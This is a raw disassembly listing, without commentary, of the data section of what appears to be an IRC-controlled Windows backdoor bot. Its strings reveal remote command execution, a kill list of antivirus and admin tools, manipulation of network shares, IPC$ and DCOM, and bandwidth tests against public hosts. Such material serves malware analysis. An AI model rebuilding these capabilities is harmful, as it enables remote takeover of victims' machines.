aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419460:loc_4194C3o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419460:loc_4194AFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
		align 4
dword_439D58	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419594+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D84	db  2Dh	; -		; DATA XREF: sub_419594+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
		dd 66737365h, 796C6C75h
		db    0
		align 4
		dd 7530h
off_439DB0	dd offset aRegedit_exe	; DATA XREF: sub_4196BD+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439EB8
		dd offset dword_439EAC
		dd offset dword_439EA0
		dd offset dword_439E94
		dd offset dword_439E88
		dd offset dword_439E7C
		dd offset dword_439E6C
		dd offset dword_439E60
		dd offset dword_439E54
		dd offset dword_439E48
		dd offset dword_439E3C
		dd offset dword_439E2C
		dd offset dword_439E20
		dd offset dword_439E10
dword_439E10	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BD+ECo
					; ___:00439E0Co
dword_439E20	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o
dword_439E2C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439E04o
dword_439E3C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439E00o
dword_439E48	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo
dword_439E54	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o
dword_439E60	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o
dword_439E6C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DF0o
dword_439E7C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DECo
dword_439E88	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DE8o
dword_439E94	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DE4o
dword_439EA0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DE0o
dword_439EAC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DDCo
dword_439EB8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DD8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439DCCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439DC8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439DC4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439DC0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439DBCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439DB8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439DB4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439DB0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BD+191o
		align 4
unk_439F68	db  2Dh	; -		; DATA XREF: sub_4198EC:loc_419973o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F8C	db  2Dh	; -		; DATA XREF: sub_4198EC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_4198EC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419C42o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010	db  2Dh	; -		; DATA XREF: sub_419B10+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419BF6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A068	db  2Dh	; -		; DATA XREF: sub_419C65+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A09C	db  2Dh	; -		; DATA XREF: sub_419C65+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A0C0	dd offset dword_43A0F8	; DATA XREF: sub_419E7A+1B3o
					; sub_41A19E+17Ao
		align 8
		dd offset dword_43A0F0
		align 10h
off_43A0D0	dd offset dword_43A0EC	; DATA XREF: sub_41A19E+1E3o
		dd offset dword_43A0E8
		dd offset dword_43A0E4
		dd offset dword_43A0E0
dword_43A0E0	dd 5C3A44h		; DATA XREF: sub_419E7A+217o
					; ___:0043A0DCo
dword_43A0E4	dd 2444h		; DATA XREF: ___:0043A0D8o
dword_43A0E8	dd 5C3A43h		; DATA XREF: ___:0043A0D4o
dword_43A0EC	dd 2443h		; DATA XREF: ___:off_43A0D0o
dword_43A0F0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A0C8o
dword_43A0F8	dd 24435049h, 0		; DATA XREF: ___:off_43A0C0o
dword_43A100	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2E5o
					; sub_41A19E+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A130	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A158	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A184	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A1A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A049o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FACo
					; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A228	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A264	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419F87o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A298	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
					; sub_41A19E+EDo
		align 4
dword_43A2E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+91o
					; sub_41A19E+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A318	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E7A:loc_419EE7o
		dd 62617369h, 2E64656Ch, 0
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E7A+54o
					; sub_41A19E+54o
		align 4
dword_43A368	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19E+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19E+219o
dword_43A398	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A33Do
					; sub_41A19E:loc_41A40Eo
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+198o
					; sub_41A19E+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A41C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A454	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A494	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19E:loc_41A20Bo
		dd 6C62616Eh, 2E6465h
dword_43A4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A508	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AF+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AF+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AF+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AF+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AF+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AF+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AF+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AF+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AF+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AF+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AF+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AF+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AF+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AF+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AF+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AF+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AF+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AF+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AF+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88C+52o
dword_43A720	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA43+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7FC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA43+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA43+EBo
dword_43A828	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF7+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A86C	dd offset word_412F4E	; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A870	dd offset dword_4E414C	; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A874	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF7+5Bo
dword_43A87C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF7+48o
unk_43A88C	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF6Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A8BC	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF68o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8E8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB6+1A0o
		dd 4C525520h, 2Eh
unk_43A904	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF49o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A940	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB6+18Co
		dd 64657469h, 2Eh
dword_43A95C	dd 2A2F2Ah		; DATA XREF: sub_41ADB6+3Bo
dword_43A960	dd 62B8A907h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A970	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A97C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A988	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A98C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A9A0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A9A4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A9B0	dd offset off_43A9B0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A9B4	dd offset off_43A9B0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9C8
		dd offset dword_43A9C8
dword_43A9C0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9C8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A9B8o
					; ___:0043A9BCo
off_43C9D0	dd offset off_43A9B0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9D4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9D8	dd offset word_43C9E2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9DC	dd offset word_43C9E2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9E2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9D8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBE4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBE8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBF0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBF4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBF8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CC00	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CC04	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CC10	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCF4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE58	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE60	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE68	dd 14h			; DATA XREF: sub_421624+2o
off_43CE6C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h
		dd 13h,	427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
		dd 0Fh,	427838h, 10h, 427830h, 5, 427828h, 1Eh,	427824h
		dd 12h,	427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
		dd 15h,	427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
		dd 18h,	4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
		dd 23h,	4277CCh, 24h, 4277C8h
dbl_43CF40	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF50	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF68	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF74	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF80	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF84	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF88	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF8C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF90	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF94	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CFA4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CFA8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CFAC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D020	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43D024	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43D028	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43D02C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D030	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D038	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D03C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B8Ch, 9, 427B60h, 0Ah,	427B3Ch, 10h, 427B10h
		dd 11h,	427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
		dd 19h,	427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
		dd 78h,	427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
		dd 0FFh, 427958h
off_43D0C8	dd offset dword_4DBC80	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC80
		dd 101h
dword_43D0D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0E8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D348	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D350	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D358	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D370	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D38C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D390	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D394	dd offset loc_545350	; DATA XREF: ___:off_43D414o
		dd 0Fh dup(0)
off_43D3D4	dd offset dword_544450	; DATA XREF: ___:off_43D418o
		dd 0Fh dup(0)
off_43D414	dd offset off_43D394	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D418	dd offset off_43D3D4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D420	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D424	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D428	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D430	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D434	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D438	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D43C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D46C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D470	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D4A8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
